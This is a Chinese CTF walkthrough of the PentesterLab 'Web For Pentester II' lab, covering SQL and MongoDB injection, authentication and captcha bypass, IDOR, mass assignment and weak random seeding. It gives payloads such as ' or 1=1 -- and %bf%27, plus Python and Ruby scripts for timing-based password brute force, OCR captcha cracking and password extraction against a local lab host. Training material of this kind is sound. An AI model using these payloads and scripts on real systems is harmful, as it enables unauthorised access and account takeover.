CTF靶场系列-Pentester Lab: Web For Pentester II – 作者:陌度

下载地址

https://download.vulnhub.com/pentesterlab/web_for_pentester_II_i386.iso

实战演练

使用netdiscover命令查找靶机的IP。

image.png

使用nmap查看靶机开放的端口

image.png看来这个靶机只有web服务

image.pngSQL injections

Example 1

第一个示例是您可以找到的最常见的SQL注入示例。这里的目标是绕过身份验证页面。

此示例是绕过身份验证页面的最着名方法。它甚至被用在很多与SQL注入有关的漫画中。让我们看看会发生什么……初始查询看起来像:

SELECT * FROM users WHERE username=''' AND password='[PASSWORD]'

[USERNAME][PASSWORD]是你的控制之下。应用程序将通过确保SQL查询返回至少一条记录来检查[USERNAME][PASSWORD]是否正确。因此,SQL注入需要确保返回至少一条记录,即使[USERNAME]并且[PASSWORD]不正确。

有许多方法可以执行此任务。最好的办法是在注入[USERNAME],因为[PASSWORD]可散列或加密(即使它不是在这个例子中)。

首先,您需要记住OR

我们将使用它来确保条件始终为 – true1)。我们的目标是使用[USERNAME]注入始终true条件,但首先我们需要使用单引号来突破SQL语法'

SELECT * FROM users WHERE username =''or 1 = 1'AND password ='[PASSWORD]'

查询的语法现在无效(因为有奇数引号),但我们稍后会再回过头来看。到目前为止,我们的有效载荷只是一个单引号',我们现在需要注入我们的始终true条件。最简单的方法是使用or 1=1,因为1=1true条件将永远是true。我们的查询现在看起来像:

SELECT * FROM users WHERE username='' or 1=1 ' AND password='[PASSWORD]'

查询的语法仍然不正确。这是我们注射中要解决的最后一个问题; 我们需要摆脱查询的结束。我们可以使用注释(--#)来摆脱它:

SELECT * FROM users WHERE username='' or 1=1 -- ' AND password='[PASSWORD]'

这样MySQL只会看到:

SELECT * FROM users WHERE username='' or 1=1 -- 

我们最终的有效载荷' or 1=1 --。可以优化此有效负载'or 1#以绕过某些过滤,因为MySQL将接受此语法。

如果` – `后面没有空格,那么使用`–`进行注释通常会产生问题。这就是为什么最后添加空格总是一个好主意。

image.pngimage.png

Example 2

此示例与扭曲相同的漏洞。在第一个示例中,代码仅检查返回的内容。在此版本中,开发人员决定确保只存在一个用户。

要绕过此限制,您可以使用上面提到的技巧获取所有行,然后使用SQL关键字限制此数字 LIMIT

1' or 1=1 limit 1#

image.pngimage.png

Example 3

在此示例中,了解SQL注入的风险,开发人员决定'通过删除'查询中的任何单引号来阻止单引号。但是,仍有一种方法可以打破SQL语法并注入任意SQL。

为此,您需要考虑查询:

SELECT * FROM users WHERE username='[username]' and password='[password]'

这里的问题是,理论上你不能打破单引号',因为你不能注入任何引号。但是,如果您注入反斜杠\,则'查询中的第二个(应该完成该字符串的那个[username]将被转义并将被第三个(应该启动该字符串的那个)关闭[password]

然后,您可以使用该参数password来完成查询并返回始终为true的语句。不要忘记注释掉查询的结尾以避免剩余的SQL代码。

image.pngimage.png

image.png

Example 4

在此示例中,开发人员将部分查询直接放在参数中。它在传统的Web应用程序中确实很少见,但有时可以在Web服务中找到,特别是对于移动应用程序。您直接在WHERE语句中注入并可以操作请求以检索您想要的任何内容。

image.png

image.png

Example 5

在此示例中,您将在关键字后面进行注入LIMIT。在MySQL上,只有在查询中UNION SELECT...没有ORDER BY使用关键字时才能使用这种类型的注入 。此外,ORDER BY关键字需要位于LIMIT关键字之前,以使查询有效。所以你无法使用评论摆脱它。

有些方法存在利用注射在LIMIT与 ORDER BY使用INTO OUTFILEPROCEDURE ANALYSE(),但他们有点太复杂,无法在这里找到。

如果存在`ORDER BY`关键字,则可以尝试从HTTP请求中删除相应的参数,以查看它是否允许您删除查询中的语句。

在此示例中,您可以简单地使用基于联合的利用来检索任意信息

image.pngimage.pngimage.png

Example 6

这是SQL注入的另一个例子,但是这次在GROUP BY关键字之后,基于联合的利用也可以用来利用这种类型的问题。好事是ORDER BY将位于之后GROUP BY。所以,即使ORDER BY使用了,你也可以使用SQL注释来摆脱它。

image.pngimage.pngimage.png

Example 7

在此示例中,执行两个查询。第一个查询根据参数检索用户详细信息id; 第二个使用先前检索的记录中的用户名来检索用户。

要利用此问题,您需要使用盲SQL注入。但是,由于显示错误消息,我们可以使用基于错误的利用来获取信息。

基于错误的利用背后的想法是使用错误消息来收集信息。通过注入容易出错的语句,我们可以直接从错误消息中获取信息,而不是使用盲SQL注入。

例如,您可以使用以下语句:

extractvalue('%3Cxml%3E',concat(%22/%22,(select%20version())))

image.pngimage.png

Example 8

此示例易受“二阶SQL注入”的攻击,而不是直接将有效负载注入请求,您将首先 使用第一个请求将其插入数据库,然后在第二个请求中触发有效负载。第一个请求不容易受SQL注入攻击,只有第二个请求。但是,您不直接控制使用的值; 你需要使用第一个请求注入它。此问题来自开发人员信任来自数据库的值。

每次尝试都需要两个步骤:

  • 使用您的有效负载创建用户。
  • 访问此用户信息以触发您的有效负载。

如果您想要高效,则需要使用简单的脚本自动执行此过程。有效负载可以像基于联合的利用一样简单。

image.pngimage.pngimage.pngimage.png

Example 9

这个例子于2006年首次发布在Chris Shiflett的博客上作为一种绕过的方式mysql-real-escape-string。它依赖于MySQL执行转义的方式。它取决于连接使用的字符集。如果数据库驱动程序不知道使用的字符集,它将不会执行正确的转义并创建可利用的情况。此漏洞依赖于GBK的使用。GBK是简体中文的字符集。使用数据库驱动程序和数据库不“交谈”相同字符集这一事实,可以生成单引号并突破SQL语法以注入有效负载。

使用字符串\xBF'(URL编码为%bf%27),可以获得不会正确转义的单引号。因此,可以使用%bf%27 or 1=1 --并绕过身份验证来注入始终为真的条件。

作为旁注,可以通过将连接编码设置为“GBK”而不是使用SQL查询(这是此问题的根源)来解决此问题。这里的问题来自执行以下查询:

SET CHARACTER SET 'GBK';

对于Web应用程序来说这是一个非常不可能的问题,但知道它存在总是好的,特别是如果你玩CTF。

image.png

Authentication

Example 1

这个例子非常简单。只需仔细阅读提示,您应该很快。通用密码可能是绕过身份验证的最简单和最常用的方法。

密码是admin

image.png

Example 2

此示例是非时间常量字符串比较漏洞的夸大版本。如果比较两个字符串并在第一个无效字符处停止,则A与字符串共同的前6个字符的字符串B将比A'仅包含与字符串共同的前2个字符的字符串花费更多时间进行比较B。在此示例中,您可以使用此信息强制密码。

这里提示符中提供了用户名,您只需要找到密码即可。为此,您需要循环遍历所有字符,直到找到花费最多时间的字符,因为应用程序会比较另一个字符。

#payload
import requests
import time
import string
from requests.auth import HTTPBasicAuth

password = ""t1 = 1dictory = string.ascii_letters+"0123456789"while True:
    for i in dictory:
        url = "http://192.168.0.104/authentication/example2/"        time1 = time.time()
        r = requests.get(url,auth=HTTPBasicAuth("hacker",  password+i ))
        time2 = time.time()
        t = time2-time1
        if t > t1:
            t1 = t
            p = i
        if r.status_code == 200:
            break    password = password+p
    print(password)

image.png后面那几个不对的,密码是p4ssw0rd

image.png

Example 3

在本练习中,您可以登录为user1。您的目标是以登录身份登录admin。为此,您需要仔细查看服务器发回的响应。

您可以看到,当您登录时user1,您会获得一个名为的cookie user1。从中您可以轻松修改此值(使用代理或浏览器的扩展名)以登录为admin

image.pngimage.pngimage.png

Example 4 

此示例与前一个示例类似。一旦您从应用程序收到cookie,总是很高兴看到它的样子。尝试使用密码破解程序破解它或尝试只谷歌它。从那以后,您应该能够为用户生成有效的cookie admin

如果您在登录时多次获得相同的会话ID:有问题!如果你从一个干净的浏览器登录,您应该永远不会得到相同的两次饼干。

image.pngimage.png发现他的cookie使用MD5加密用户名

image.png

image.png

Example 5

在这种情况下,Web应用程序在创建用户时它区分大小写,但数据库是信息已注册,并不假设大小写的区别。

这会产生一个缺陷,因为您可以创建一个用户Admin,数据库将该值视为admin,更新现有记录

然后,您只需使用您创建的用户登录并访问管理员帐户即可。

image.pngimage.png

Example 6

为了修复上一个问题,开发人员决定在用户​​创建期间使用区分大小写的比较。根据MySQL执行字符串比较的方式,也可以绕过此检查:MySQL忽略尾随空格(即:pentesterlabpentesterlab )。使用与上面相同的方法,您应该能够假装以用户身份登录admin

防止此问题的一种好方法是告诉数据库用户名是PRIMARY KEY。例如,在Tomcat文档中使用此方法将SQL后端用作Realm。

image.pngimage.png

Captcha

Example 1

此脚本是严重实施的验证码的常见问题。为避免错误消息,开发人员在确保其值正确之前检查captcha参数是否存在:

但是,此示例提供了一个漏洞:如果未提供验证码,则脚本不会安全失败。

if params[:captcha] and params[:captcha] != session[:captcha]
  # ERROR: CAPTCHA is invalid redirect
  [...]
end 
# CAPTCHA is valid
[...]

image.pngimage.png

Example 2

在此示例中,应用程序泄露了答案。通过检查返回的HTML页面的来源,您应该能够编写一个可以自动破解此验证码的脚本。

image.png

查看页面源代码

image.png

Example 3

在此示例中,应用程序泄露了答案。通过检查服务器发回的响应,您应该能够编写一个可以自动中断此验证码的脚本。

您还可以使用JavaScript控制台从cookie中检索验证码并调用document.cookie

image.png

Example 4

这是一个非常有趣的例子,因为这是我在开发这套练习时犯的错误。

在这里,您不必真正破解验证码。您只需要破解一次,您就可以重复使用相同的值和会话ID来反复执行相同的请求。当您尝试破解验证码时,请确保答案只能使用一次。您可以通过编写一个采用会话ID和参数值的脚本轻松编写此漏洞利用脚本,并一次又一次地提交它们。简单来说,就是图形验证码不会失效

image.pngimage.pngimage.png

Example 5

这个例子是弱点的最后一个例子,这里的弱点来自用于创建验证码的字典; 只使用了有限数量的单词。您可以通过生成所有单词列表和图像的MD5来轻松编写饼干。然后,当您想要提交表单时,您只需要检索图像,计算其MD5并提交匹配的单词。

0dayz
nacher
compromise
pentester
security
vulnerablity
admin

image.png

image.pngimage.pngimage.png

Example 6

在这个例子中,我们将使用OCR工具(Tesseract)破解这个简单的验证码。这里的目标是构建一个可以获得高成功率的脚本。

#exp
import pytesseract
from PIL import Image
import requests
import re
def main():
    url = "http://192.168.0.104/captcha/example6/"
    rs = requests.session()
    r = rs.get(url)
    html = r.text
    img_url = re.findall('<img src="(.*?)"/ >',html)[0]
    img_content = rs.get(url+img_url).content
    with open("test.png", "wb") as f:
        f.write(img_content)

    image = Image.open("test.png")
    text = pytesseract.image_to_string(image)  # 使用简体中文解析图片
    check_url = "http://192.168.0.104/captcha/example6/submit?captcha="+text+"&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"
    r1 = rs.get(check_url)
    print(r1.text)



if __name__ == '__main__':
    main()

image.png

Example 7

使用GIMP查看图片的RGBA(65,105,225,225),然后写个脚本将这种颜色变成白色

image.png

import pytesseract
from PIL import Image, ImageEnhance, ImageFilter
import requests
import re
import cv2
import numpy

def main():
    url = "http://192.168.0.104/captcha/example7/"
    rs = requests.session()
    r = rs.get(url)
    html = r.text
    img_url = re.findall('<img src="(.*?)"/ >', html)[0]
    img_content = rs.get(url + img_url).content
    with open("test.png", "wb") as f:
        f.write(img_content)

    im = Image.open('test.png')
    im = im.convert('RGBA')
    pixdata = im.load()
    for y in range(im.size[1]):
        for x in range(im.size[0]):
            if pixdata[x, y][0] == 65 :
                pixdata[x, y] = (255, 255, 255, 255)
    #im.show()
    im.save('test1.png')


    image = Image.open("test1.png")

    text = pytesseract.image_to_string(image)  # 使用简体中文解析图片
    print(text)

    # check_url = "http://192.168.0.104/captcha/example7/submit?captcha="+text+"&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"
    # r1 = rs.get(check_url)
    # print(r1.text)


if __name__ == '__main__':
    main()

image.png

Example 8

image.png

可以看到黑色字母的RGBA的值少于65,于是我就所以大于或等于65的R变成白色

image.png
image.png

Example 9

这道题的验证码是用算术验证码,使用python的eval函数进行计算

image.png

import pytesseract
from PIL import Image, ImageEnhance, ImageFilter
import requests
import re
import cv2
import numpy



def main():
    url = "http://192.168.0.104/captcha/example9/"
    rs = requests.session()
    r = rs.get(url)
    html = r.text
    suanshi = re.findall(r'(\d+.*?=)', html)[0]
    print(suanshi)
    print(eval(suanshi.replace('=','')))


    # check_url = "http://192.168.0.104/captcha/example7/submit?captcha="+text+"&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"
    # r1 = rs.get(check_url)
    # print(r1.text)


if __name__ == '__main__':
    main()

image.png

Authorization

Example 1

登录进去

image.pngimage.png随便点击一个链接,http://192.168.0.104/authorization/example1/infos/6,注销,然后在浏览器输入这个链接,发现不用登录也可以访问资源

Example 2

在此示例中,您可以使用以下用户登录:user1使用密码pentesterlab。登录后,您可以开始访问信息并查看使用的模式:/infos/1/infos/2。如果您继续增加URL中的数字,则可以访问其他用户的信息。

image.png

image.png

image.png

Example 3

在此示例中,您可以使用与之前看到的方法类似的方法访问信息。您不能直接访问这些信息,但是您可以看到您现在可以编辑信息,并且只需通过递增URL中的数字即可使用此功能访问其他用户的信息。

image.pngimage.pngimage.png

Mass Assignment

Example 1

在此示例中,您可以注册用户。该应用程序有两个级别的权限:

  • 用户。
  • 管理员。

使用admin对象上的属性设置管理员权限user。如果仔细查看Web应用程序使用的格式: user[username] 并且user[password],您应该能够找到获取admin访问权限的方法。可以使用三种方法:

  • 使用浏览器扩展直接修改页面。
  • 保存页面并离线修改以创建将正确的有效负载发送到正确的URL的页面。
  • 使用代理拦截合法请求并添加参数(最快的选项)。

image.pngimage.png

Example 2

在本练习中,开发人员修复了以前的错误。您无法创建具有admin权限的用户…或至少不能直接创建。试着找到一种方法来做同样的事情。

修改user为admin,不过下面有个超链接点击一下
image.png

进去之后像例一修改为admin

image.png

Example 3

在本练习中,您可以使用以下用户登录:user1使用密码pentesterlab。登录后,尝试访问公司“公司2”中的信息。

为此,您需要使用批量分配来修改您的公司。

image.pngimage.png

Randomness Issues

Example 1

第一个例子就是为了说明随机是如何随机的。问题来自使用种子随机生成器。开发人员使用该值为0随机生成器播种。

如果您只是重播脚本,您应该能够找到为管理员生成的密码admin

image.pngimage.png

Example 2

此示例显示了随机生成器的不良播种的另一个示例。随机发生器以当前时间播种。

要以admin密码的方式工作,您需要强制种子。为此,您可以从当前时间开始并减少它,同时重放用于生成值的算法,直到您获得密码。

获得密码后,您就会知道使用了什么种子(或者更准确地说是随机生成器初始化的时间)。然后,您可以获取admin密码。

查了一下资料,找了一个脚本

timestamp = (Time.now.to_f).to_i
seed = Random.new(timestamp)
pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join

while pass_hacker !="hbdgyz" do #contraseña del usuario 'hacker'
 timestamp = timestamp - 1
 seed = Random.new(timestamp)
 pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
 pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
end

puts "Password de admin: "
puts pass_admin

Example 3

这个例子非常简单,与第一个类似。您只需重播代码即可获取admin密码。密码长度是随机的这一事实对您可以猜测的事实没有影响。

image.png

image.png

Example 4

在这个例子中,您不知道在生成密码之前使用随机生成器的次数(因为它是一个调用而rand(1000)不是s.rand(1000)。您仍然可以生成以前的密码。要获得它,您只需要粗暴强制此值,直到您获得密码。

n = 1000
seed = Random.new(0)
n.times {seed.rand(5)}
pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join


while pass_hacker !="jqcpru" do 
 n = n - 1
 seed = Random.new(0)
 n.times {seed.rand(5)}
 pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
 pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
end

puts "Password de admin: "
puts pass_admin

image.png

image.png

MongoDB injection

Example 1

这个例子是(in)着名的MongoDB版本' or 1=1 --。如果你还记得你之前看过的内容,你知道你需要两件事来绕过这个登录:

  • 一个永远真实的条件。
  • 一种正确终止NoSQL查询的方法。

首先,通过阅读MongoDB文档,您可以发现SQL or 1=1转换为|| 1==1(注意双重=)。然后通过四处搜索,您可以看到NULL BYTE将阻止MongoDB使用其余查询。您还可以使用注释//<!--注释掉查询的结尾。

有了这些信息,您应该可以绕过身份验证表单。

image.png

image.png

Example 2

import cookielib, urllib2, urllib
from bs4 import BeautifulSoup
import urllib
c = "a"

link = "http://192.168.0.104/mongodb/example2/?search=admin%27%20%26%26%20this.password.match%28/"+str(c) + str("/)%00")
r = urllib.urlopen(link).read()
soup = BeautifulSoup(r,"lxml")
print type(soup)
string = soup.find_all("td")
string = str(string)
if len(string) > 5: 
	foundl = 1 
else :foundl = 0

l= []
cval = 1
x= 0
while cval != 128 : 	
	a="".join(chr(cval) for x in range(1)) #all chars possible
	print a
	c = a
	link = "http://192.168.32.129/mongodb/example2/?search=admin%27%20%26%26%20this.password.match%28/"+str(c) + str("/)%00")
	r = urllib.urlopen(link).read()
	soup = BeautifulSoup(r,"lxml")
	print type(soup)
	string = soup.find_all("td")
	string = str(string)
	#print string
	#print link
	if len(string) > 10: 
			l.append(c)
			x= x + 1
	cval = cval+1

print l


来源:freebuf.com 2019-08-19 20:28:39 by: 陌度

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论